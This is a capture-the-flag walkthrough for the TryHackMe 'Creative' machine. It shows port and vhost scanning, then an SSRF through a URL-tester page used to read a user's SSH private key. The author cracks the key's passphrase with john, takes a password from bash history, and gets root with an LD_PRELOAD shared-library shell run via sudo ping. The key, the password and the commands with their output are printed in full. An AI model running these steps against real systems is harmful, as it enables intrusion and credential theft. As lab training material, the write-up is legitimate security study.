# Creative

By Praveen Kumar Sharma

For me the IP of the machine is : 10.10.59.4 Lets try pinging it first

```
ping 10.10.59.4 -c 5
PING 10.10.59.4 (10.10.59.4) 56(84) bytes of data.
64 bytes from 10.10.59.4: icmp_seq=1 ttl=60 time=199 ms
64 bytes from 10.10.59.4: icmp_seq=2 ttl=60 time=235 ms
64 bytes from 10.10.59.4: icmp_seq=3 ttl=60 time=193 ms
64 bytes from 10.10.59.4: icmp_seq=4 ttl=60 time=150 ms
64 bytes from 10.10.59.4: icmp_seq=4 ttl=60 time=294 ms

--- 10.10.59.4 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4007ms
rtt min/avg/max/mdev = 150.230/214.055/293.555/47.960 ms
```

Alright its online

Port Scanning :

All Port Scan

```
nmap -p- -n -Pn -T5 --min-rate=10000 10.10.59.4 -o allPortScan.txt
```

```
Open ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http
```

Just two ports lets try a aggressive scan on these

### Aggressive Scan :

```
nmap -sC -sV -A -T5 -p 22,80 10.10.59.4 -o aggresiveScan.txt
```

it redirects to creative.thm lets add this to our /etc/hosts

Lets do some vhosts and directory scanning now

# **Vhost and Directory Enumeration:**

Lets do the Vhost scan here first

gobuster vhost -u http://creative.thm -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomainstop100000.txt --append-domain -t 40 -o vhosts.txt

Vhost found

beta.creative.thm

Lets add this to /etc/hosts too

```
127.0.0.1 localhost
127.0.1.1 Kali.pks Kali

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.10.222.68 whoismrrobot.com
10.10.194.126 publisher.thm
10.10.188.224 mkingdom1.thm
10.10.237.244 enum.thm
10.10.11.23 permx.htb www.permx.htb lms.permx.htb
192.168.110.76 symfonos.local
10.10.59.4 creative.thm beta.creative.thm
```

#### Now the directory scan

gobuster dir -u http://creative.thm -w /usr/share/wordlists/dirb/common.txt
-o directories.txt



```
/assets (Status: 301) [Size: 178] [-->
```

/index.html (Status: 200) [Size: 37589

Lets see this web application

# Web Application:



Its a static site also /assets is also forbidden 403

Lets see this vhosts : <a href="http://beta.creative.thm">http://beta.creative.thm</a> ☐

○ & beta.creative.thm		
ali Tools 👱 Kali Doos 🦎 Kali Forums 🏡 Kali Net		
	Bara MBI Tarak	
	Beta URL Tester	
This page provides the functionality that allows you to test a URL to see if it is alive. Enter a URL in the form below and click "Submit" to test it.		
	Enter URL:	

#### Lets try to see if we can check creative.thm here first

<ul> <li>Home</li> <li>About</li> <li>Service</li> <li>Portfolio</li> <li>Team</li> <li>Testimonial</li> <li>Blog</li> <li>Contact</li> <li>Components</li> </ul>
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its the html of the original page here

UX/UI Design

So its probably going to localhost:80 lets try to see if this is the same as the above one

# **Beta URL Tester**

This page provides the functionality that allows you to test a URL to see if it is alive. Enter a URL in the form below and click "Submit" to test it.

Enter URL:

http://localhost:80

Submit

#### same thing

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Lorem ipsum dolor sit amet, consectetur adipisicing elit. Omnis excepturi, repellat esse laborum explicabo quia.

#### so lets check what other localhost port we can go to

 u can use intruder here i used this script right here to do this also u can find this script with this document

```
import requests
import urllib.parse
from concurrent.futures import ThreadPoolExecutor

def send_post_request(url, payload, headers):
    try:
       response = requests.post(url, data=payload, headers=headers)
```

#### lets run it

POST request to <a href="http://beta.creative.thm">http://beta.creative.thm</a> with payload url=http%3A%2F%2Flocalhost%3A80 returned status code: 200, content

length: None

POST request to <a href="http://beta.creative.thm">http://beta.creative.thm</a> with payload

url=http%3A%2F%2Flocalhost%3A1337 returned status code: 200,

content length: None

# Gaining Access :

We know what port 80 lets see 1337 here Looks like directory of the system

# **Directory listing for /**

- <u>bin@</u>
- · boot/
- dev/
- etc/
- home/
- lib@
- lib32@
- lib64@
- libx32@
- lost+found/
- media/
- mnt/
- <u>opt/</u>
- proc/
- root/
- run/
- <u>sbin@</u>
- snap/
- <u>srv/</u>
- swap.img

btw for context we can see the file from our system if we do http:IP:PORT/ if u run a python server or whatever

Lets see if we can see inside the home folder: http://localhost:1337/home/

# **Directory listing for /home/**

• saad/

Lets grab this users ssh key so we can ssh into the machine

http://localhost:1337/home/saad/.ssh/id\_rsa

----BEGIN OPENSSH PRIVATE KEY----b3BlbnNzaC1rzXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABA1J8+LAd
rb49YHdSMzgX80AAAAEAAAAAACMFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABA1J8+LAd
rb49YHdSMzgX80AAAAEAAAAACAAAGXAAAAB3NzaC1yc2EAAAADAQABAAABgQDBbWMPTToe
wBK40FcBuzcl1zjLtfa21TgQxhjBYMPUvwzbgiGpJYEdosXKeh9FXGYcgXCduq3rz/PSCs
48K+nYJ6Snob95PhfKfFL3x8JMc3sABvU87QxrJQ3PFsYmEzd38tmTiMQkn08Wf7g13MJ6
LzfUwwv9QZXMujHpExowWuwlEKBYiPeEK7mGvS0jJLsaEpQorZNvUhrUO4frSQA6/OTmXE
d/hMX2910cAiCa5NlgBn4nH8y5bjSrygFUSVJIMBVUY0H77mj6gmJUoz5jv96fV+rBaFoB
LGOy00gbX+2YTzBlJsKwOG97Q3HMnMKH+vCL09h/i3nQodWdqLP73U0PK2pu/nUFvGE8ju
nkkRVNqqO5m0eYfdkWHLkz13jzohUBBsLrtj6c9hc8ClqErf5B573RKdhu4gy4JkCMEW1D
xKhNWu+TI3VME1Q0ThjIIJTMCR+Hh+/IDwgVTaW0LJR6Cn5nZzUHBLjkDV66vJRYN/3dJ5
bncTJ3dKFpec8AAAWQYx0osErJi/dcuK4vkpBkSG3N3iHsGeQh9KtrGHma9f5/l4HV1O2g
NpdxT+pG8ti5+pJmbA12WIILPWPmq8RIXJoPY2Hg6swPFtgB0KCL0tz8XMjYTB0PMHpa4S
98bHQ0G0t3WtkYewKtGle5j5kEw6fyxGVg7/uXQVohACNoniByRMhX2HG6mkXV9p2zi9ym+
Zd7LYPSZ6FTKLouqJbpcADwX6YywSV8uXIGAnT6u5UJMU7EbQhextQYqPOzihsVDUL/uSw
quaPQYJ/8ZqB15o3on+F2fvbNc7JJ5t0gDaf0tTzQDFZIMg3zJlnoVkxC+/NLuSrGrzC/52
1gAlLcjcVeGmzXESqWWI+4rF4dnVuwBcHDskZ8TbKEGueBjMX3FdafP0SAl7+gRQNp3OsW
VABMeWJmLDL+reNxAtsPTmDhXuDvoVffTx0V3Bu4UsRJpF16rJpMgUyjeu3Dff9FjAqQRS
qvsCB1lPAmb50y6v2qveOHJav4DbP7KCYRNR5C1W5R74rDUbLusyWFApWxHVpTDdHY6Zba
+hmqT+kre2Qsg7fvBG7U8Fqe6jf1jVgSIMyUQ1UoowlmdBoP6/e16Cc3p6lhqAfECb0mHT
Z5typxF3QJP6mOPTy1YabeCrsKWoTN821bZUAW0UO5OIGYoQZo5io6u5g7kj1LmXNG15AU
ZAdKt56miOG5g4SsquDNVaJTQg7rsrVW3ghA4kE+BIRGmTuvKt5q4WZDB6gXXzJgEsZ5Kt
KbURhk1zzqxKpr1+yYTrqmxki1EhS2V6qDlYovscYnIZK9IDV/1c22nNEkSTWhKzHe+6A7
qWNMkOw9xaIdB8WV/yiCi2notAAdAYS128Tc+WSoucqvVBEWhbITqz1oL+bYeDhqRWusP
e+gtkwODGaGQpU1793Eusk6vVYZni5xgOMDuERsREuT2ZsUP20AxVYw/mbUsOjeGpEoCGZ
UBwl2LeGGSDZgZIC+DLOi/Rc0uv9aaADIONrvx6ushxaFUq1RDV+WzFxIw9uDgFiL0gHwZ

go to the source to get the correct format

```
	riangle view-source:http://beta.creative.thm/
 Kali Linux 🥵 Kali Tools 🌞 Kali Docs 減 Kali Forums 🕟 Kali NetHunter 🧆 Exploi
8 LGOy00gbX+2YTzBIJsKw0G97Q3HMnMKH+vCL09h/i3nQodWdqLP73U0PK2pu/nUFvGE8ju
10 xKhNWu+TI3VME1Q0ThJII/TMCR+Ih+/IDwqVTaW0LJR6Cn5nZzUHBLjkDV66vJRYN/3dJ5
13 98bHQQGQt3WtkYewKtGIe5J5kEw6YxGVq7/uXQVohACNoniByRMhX2HG6mkXV9p2zi9ym+
19 +hmqT+kre2Qsq7fvBG7U8Fqe6jf1jVqSIMyUQ1UoowlmdBoP6/eI6Ce3p6lhqAfECb0mHT
  ZAdKt56miOG5g4SsquDNVaJTQg7rsrVW3ghA4kE+BIRGmTuvKt5q4WZDB6gXXzJgEsZ5Kt
22 KbURhklzzqxKprI+yYTrqmxki1EhS2V6qDlYoVscYnIZK9IDV/1c22nNEkSTWhKzHe+6A7
23 qWNMkOw9xaIdB8WV/yfCf2nOtAAdAYSl28r7c+WSoucqvVBEWhblTgz1oL+bYeDhqRWusP
35 80WhSwGmt024YBhqQ47nGhDa8ceAJbr0u0IVm+Klfro2D7bPX0Wm2LC65Z60QGvhrEbQwP
38 ksrXEYjaMdndnvxBZ0zi9T+ywaq=
  ----END OPENSSH PRIVATE KEY-----
```

save this in a file

```
___(pks©Kali)-[~/TryHackMe/Creative]
__$ vim id_rsa
___(pks©Kali)-[~/TryHackMe/Creative]
__$ chmod 600 id_rsa
```

lets try to ssh into the system now

```
___(pks©Kali)-[~/TryHackMe/Creative]
__$ ssh -i id_rsa saad@creative.thm
Enter passphrase for key 'id_rsa':
```

Its asking for passphrase we don't have that lets crack this using john
We are gonna run ssh2john to convert this to john format

```
__(pks©Kali)-[~/TryHackMe/Creative]
_$ ssh2john id_rsa > forjohn
```

lets crack it using rockyou

```
john ---wordlist=/usr/share/wordlists/rockyou.txt forjohn
```

```
____(pks@Kali)-[~/TryHackMe/Creative]
$ john --wordlist=/usr/share/wordlists/rockyou.txt forjohn
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Og 0:00:00:28 0.01% (ETA: 2024-08-17 05:08) Og/s 30.96p/s 30.96c/s 30.96C/s lupita..micheal
sweetness (id_rsa)
1g 0:00:00:31 DONE (2024-08-10 19:44) 0.03214g/s 30.85p/s 30.85c/s 30.85C/s blonde..sandy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```
OSsh passphrase
id_rsa : sweetness
```

Lets ssh into the system and we can ssh now

```
Last login: Mon Nov 6 07:56:40 2023 from 192.168.8.102

saad@m4lware:~$ id

uid=1000(saad) gid=1000(saad) groups=1000(saad)

saad@m4lware:~$ [
```

Lets find the password for saad now the best place are usually the history files lets see the .bash\_history file

```
saad@m4lware:~$ cat .bash_history
whoami
pwd
ls -al
ls
cd ..
sudo -l
echo "saad:MyStrongestPasswordYet$4291" > creds.txt
rm creds.txt
```

We have a set of creds now :

```
Ssh creds
Username : saad
Password : MyStrongestPasswordYet$4291
```

Also here is the user flag

```
saad@m4lware:~$ ls
snap start_server.py
saad@m4lware:~$
```

### Vertical PrivEsc

Lets see the sudo permission of this user

Ping is not a vertical privEsc vector but we do have this

### Searching this i found this

https://www.hackingarticles.in/linux-privilege-escalation-usingld\_preload/ I followed this to get root
First we make a file in /tmp called shell.c

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() 
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
```

Now we run this

```
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
```

Now we have this .so file now we run this with our ping

```
sudo LD_PRELOAD=/tmp/shell.so ping
```

And we get root

```
saad@m4lware:/tmp$ sudo LD_PRELOAD=/tmp/shell.so ping
# id
uid=0(root) gid=0(root) groups=0(root)
#
```

and here is the root flag

```
# cd /root
# ls
root.txt snap
#
```

Thanks for Reading :)